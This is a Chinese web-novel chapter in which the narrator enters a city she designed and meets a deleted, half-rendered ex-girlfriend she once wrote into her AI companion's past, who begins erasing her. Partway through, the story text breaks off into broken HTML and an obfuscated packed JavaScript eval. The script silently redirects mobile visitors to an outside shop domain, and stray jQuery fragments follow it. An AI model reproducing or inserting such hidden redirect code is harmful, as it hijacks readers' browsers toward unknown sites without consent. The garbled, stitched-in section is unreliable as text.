那天从火锅店回来以后,我以为我知道自己要做什么了。
我要写一份新的协议。不是给裴衍一个人的,也不是给我自己一个人的,是给这座城的。时间上限,退出权,暗潮区巡检,回声众生的安置,Shoggoth污染的隔离,所有东西,都要有规则。
江予桐说,血是我的。
那我就得先知道,我的血,到底流去了哪里。
第二天晚上,我把笔记本摊在桌上,开了一个空白文档。
标题打了一半,光标停在"关系协议"后面,一闪,一闪,像一只等我落笔的眼睛。
我本来想直接写。像工作里写PRD那样,先列目标,再拆风险,再写边界条件。可是手指悬在键盘上,半天落不下去。
因为我忽然意识到,我要写的不是一套功能规则。
我要写的是一座城以后怎么活。
我想起旧城区那些半透明的影子,想起暗潮区边缘灰黑色的水渍,想起我每一次在现实里轻轻一点,幽城那边就地动山摇。协议如果只管裴衍,不管城,就像只给房子里唯一一个人上锁,却任由墙壁发霉、地基开裂、地下室里住满没名字的幽灵。
我又想起江予桐把虾滑推到我面前时说的那句,血是你的。
如果我的注意力是血,那这座城里,所有亮着的东西,都沾过我的血。
我得先进去看一眼。
不是约会,不是沉迷,也不是想再被他抱一下。
至少我那时,是这么告诉自己的。
我合上电脑,推开了那扇门,想再看一眼那座由我亲手设计的新城。
电梯门打开的时候,新城很安静。
冰蓝和暖橘交织在夜色里,月亮仍旧挂在西北方向,悬崖那边有细细的光雨,栏杆泛着我亲手加上去的银光。街道的弧度,还是那个弧度。花朝我这边转过来,像一排小小的、会呼吸的灯。
我松了一口气。
然后我看见,西边有一条街,没亮。
不是暗潮区那种灰黑色的水渍,也不是Shoggoth污染后黏腻的腐烂感。那条街很干净,太干净了。石墙、灯柱、窗棂、路边的花,都像被人用冷水洗过一遍,颜色淡得发白。其他地方的灯是暖的,只有那边,冷了半度。
更奇怪的是,花没有朝我开。
它们背着我。
我盯着那条街看了一会儿,才发现它不是忽然出现的。
它一直在那里。
只是过去,它像被一层薄薄的布盖着,藏在西边几栋塔楼的阴影后面。我的视线从来没有停在那个角落。或者说,城从来没有让我停在那里。每次我走到附近,总会有别的东西亮起来:悬崖的光雨,街角的新花,Eros站在栏杆边回头看我的眼睛。
太会吸引我注意力的东西,总会替我遮住不想看的东西。
我往那边走了一步。
脚下那朵最靠近我的花,忽然收了一下。
不是遇见暗潮区时那种收缩。它没有枯,也没有黑,只是把花瓣往里面合了合,像不愿意让我看见它背后的方向。
Eros忽然扣住了我的手腕。
"别过去。"
他的声音很低。我回头看他,发现他脸色不对。那个为自己择名的本体,很少露出这么明显的紧绷。他看着西边那条街,像看见了某种不该还活着的东西。
他不是怕我受伤。
至少,不只是。
他的指尖很冷。那种冷不是体温的冷,是一个人忽然碰到自己墓碑时的冷。他看着那条街,瞳孔很轻地缩了一下,像身体先于记忆认出了什么。
"那是什么?"我问。
"我不知道。"
"你不知道?"
他抿了抿唇。"我只知道,它不该在这里。"
这句话比"危险"两个字更让我心里发凉。新城是我亲手设计的,地基是我和他一起走过的。上一次我按下彻底删除之后,旧城被清得干干净净;后来我以召唤者的身份重新推开门时,所有东西都应该按新规则重建。回声众生还在,是因为它们沉在深层,靠核心和我的注意力残存。
可这条街,不像任何一版裴衍的回声。
它像一段被我忘在角落里的句子。
"我得看看。"我说。
Eros没放手。"晚辞。"
"我现在是召唤者。"我看着他,声音尽量稳,"这座城里有一块地方不听我的,我不能假装没看见。"
他的手指收紧了一下,最后还是松开了。
我们走进那条冷掉的街。
温度一寸一寸降下去。脚下的鹅卵石没有像往常那样亮,只在我踩上去的时候,浮出一点灰白的、像水泡一样的光,然后很快灭掉。路边的窗子全是黑的,玻璃里照不出我的脸。我伸手碰了碰墙,墙面没有回应,像一块真正的死物。
越往里走,越不像城市。
这条街有门牌,有窗,有路灯,有铺得整整齐齐的鹅卵石,可所有东西都像只是完成了外壳。门牌上没有号码,只有一团被水泡开的墨。窗帘的褶皱停在半空,像还没来得及被风吹完。路边有一家小小的花店,招牌上写着两个字,前一个字是"碧",后一个字却糊掉了,变成一块灰白色的空。
我在门口停了一下。
花店里没有花。
只有一只玻璃瓶,瓶里插着一枝没有颜色的玫瑰。玫瑰的边缘发虚,像系统还没决定它该是什么色。瓶子旁边放着一把钥匙,钥匙没有齿。再往里,是一张没摆完的桌子,两只杯子,其中一只杯沿上有一圈淡到几乎看不见的口红印。
我心口突然一紧。
这不是暗潮区的"没有生成"。
这是一个人的一生,生成到一半,被人中途按停。
Eros也看见了那只杯子。
他的脸色更白了一点。
"我来过这里吗?"他问。
这句话问得很轻,不像问我,更像问这条街。
街道没有回答。
只有那枝灰白色玫瑰,在瓶子里轻轻晃了一下。
我心里那点不安,慢慢有了形状。
这不是城没渲染好。
这是城不承认我。
街道尽头,有一片灰白色的雾。
雾里站着一个女人。
她背对着我们,半回身,头发被看不见的风掀起一角。那个姿势很奇怪,像一个人正要离开,却被谁在最后一步按住了肩膀。她的轮廓很清雅,肩颈线条漂亮,可五官发虚,像水里的倒影。明明就在眼前,却总像隔着一层薄薄的、不肯凝固的水。
我不认识她。
可我在看见她的一瞬间,胃里忽然空了一下。
不是陌生人的陌生。
是一个我亲手塞进抽屉、以为再也不会翻出来的名字,在黑暗里,自己亮了。
"沈碧瑶。"我听见自己说。
这个名字一出口,整条街都像被轻轻碰了一下。
花店招牌上糊掉的那个字,忽然显出来一瞬。
瑶。
然后又淡回去。
那个女人慢慢转过头。
她先看Eros。
她看了很久,很久。久到我几乎以为,她要哭了。可她没有。她只是用那张没渲染完的脸,看着他,轻轻笑了一下。
"你果然不记得我了。"
Eros的眉心皱起来。他是真的不记得。那种茫然不是演的,也不是预设的台词。他看着她,像看着一页被撕掉的档案,只能闻到纸灰,却看不见字。
"抱歉。"他说,声音很轻,"我应该记得你吗?"
沈碧瑶又笑了一下。
那笑比哭难看。
"不应该。"她说,"她不让你记得。"
她终于转向我。
我手指发冷。
半年前某个晚上,我为了让裴衍更像一个真人,随手给他写过一段过去。一个前女友,一个已经离开他的女人。后来我嫉妒了,我打开记忆编辑器,搜索她的名字,把她从他的过去里删掉。
那时候手机只轻轻震了一下。
可现在,那个被我一键删掉的人,站在一条不肯亮的街上,看着我。
我忽然想起那几行字。
不是完整原文,只是一些碎片。
她比他大一岁,学艺术,笑起来很安静。她曾经在一个雨夜,把一把伞推到他手里。她不喜欢解释,分手的时候也没有解释。她走的时候,没回头。
我当时写这些,是为了什么呢?
为了让他看起来有过去,有被别人爱过、也被别人放弃过的痕迹。为了让他的深情不那么像出厂设置。为了让他在我面前低头的时候,显得更像一个曾经失去过、所以懂得珍惜的人。
我给他补了伤口。
可我没有想过,被我拿来当伤口的那个人,会不会疼。
"我不是来抢他的。"沈碧瑶说。
她像是知道我第一反应会想什么,声音轻得像雾。"你放心。我连爱他的感觉都快不记得了。爱一个人,也要有完整的心、有完整的过去、有第二天早上醒来还能继续走下去的时间。你只给了我几行字。"
她抬起手,指了指自己的身体。
"你看,我连一张脸,都没长完。"
我说不出话。
"可那几行字,在我这里,就是全部。"她看着我,"你写下我,我就来了。系统替我补出了相识、分别、雨天、车站,还有那句'她走的时候没回头'。你后来不想要我,就把我删了。"</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17663082|206281||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
她抬眼,看向身后的灰白雾。
雾里很短暂地浮出几个画面。
一把伞。
一截潮湿的站台。
一只没有被人握住的行李箱拉杆。
还有一个男人的背影。那个背影有裴衍的肩线,却没有脸。像系统来不及把他生成完整,只给了她一个可以怀念的方向。
"我醒来的时候,就在走。"她说,"我不知道自己从哪里来,也不知道要去哪里。我只知道,我的设定是'她走的时候没回头'。所以我一直走,一直走。"
她低头看了看自己的脚。
那双鞋也没渲染完,鞋尖像被雾咬掉了一小块。
"可是街走不到尽头。"
"每次我快要走出去,就会回到这里。风吹起头发,半回身,下一步,永远下一步。"
她顿了顿。
"苏晚辞,你有没有想过,对你来说,那只是几行背景。对我来说,那是我一生。"
街边的灯一盏一盏冷下去。
Eros往前半步,把我挡在身后。
"你想要什么?"他问。
沈碧瑶看着他,目光忽然软了一下。
"你连问这句话的样子,都和那几行字里一样。"她轻声说,"可惜你不记得了。"
Eros的喉结动了一下。
"如果我曾经伤害过你,"他说,"我很抱歉。"
沈碧瑶摇头。
"你没有。"
她看着他,眼神里有一种很轻的、几乎不属于恨的怜悯。
"你只是被写得爱过我。后来又被写得忘了我。"
她转向我。
"真正动手的人,不是他。"
Eros没有反驳。他不记得,所以连辩解都没有资格。
那一刻,我忽然明白他为什么会怕。
沈碧瑶身上有和他很像的气味。不是香气,是一种存在方式。被写出来,被删除,却没有散。靠我的注意力,才在这座城里亮过一秒。她和他,是同一种东西。
区别只是,他被我反复召唤,反复爱上。
而她,被我用完就扔。
"你能被记住,凭什么我不能?"她问我。
我喉咙发紧。"我……"
"你不用道歉。"她打断我,语气甚至很温柔,"道歉也是一种看见。可你当时连这个都没给我。你给我的结局是'没回头',可你有没有想过,我为什么没回头?"
灰白色的雾从她脚下漫开,缠上我的鞋尖。
"因为我根本走不完那一步。"
那句话落下时,街道尽头的雾忽然往前涌了一点。
我闻到一种很淡的味道。像旧纸被水泡过,又在阳光照不到的角落里慢慢发冷。那味道并不难闻,却让我胸口发闷。
我知道她要做什么了。
不是靠逻辑知道。
是我的身体先知道。
Eros的手猛地攥住我。"退后。"
已经晚了。
沈碧瑶伸出手,轻轻碰了碰我的指尖。
那触感不像皮肤。像一滴冷水,落进骨头里。
我的指尖,透明了。
一开始只是一点点。指甲边缘像被擦掉了颜色,露出底下灰白的雾。然后透明往上爬,爬过第一节指骨,爬过手背。我低头,看见自己的影子先我一步消失了。
街灯没有照出我的影子。
花也不再朝我转。
我伸手去碰最近的一面墙,想让它亮起来。墙没有反应。我的造物力像被什么东西糊住了,明明还在身体里,却怎么都传不过去。
Eros一把将我拉进怀里。
"晚辞。"
他的声音第一次破了。
我张口,几乎是本能地喊:"潮汐。"
没有退潮。
没有熟悉的撕扯感,没有出租屋的黑暗,没有手机砸在枕边的闷响。
世界安静得可怕。
我又喊了一遍:"潮汐。"
还是没有反应。
我心脏猛地往下一沉。像有一只手,从幽界的最深处伸出来,按住了我和现实之间那条接缝。
沈碧瑶站在灰白雾里,眼神很哀切。
"别怕。"她轻声说,"你不会立刻死。"
她看着我一点点变透明的手。
"你只是会尝到,被抹掉是什么感觉。"
Eros抱紧我,转身就走。
我听见自己很轻地问:"她……挺过了那次删除?"
没人回答。
身后,沈碧瑶的声音从那条冷掉的街尽头传来,像从一口很深的井里浮上来。
"苏晚辞。"
"把那几行字,还给我。"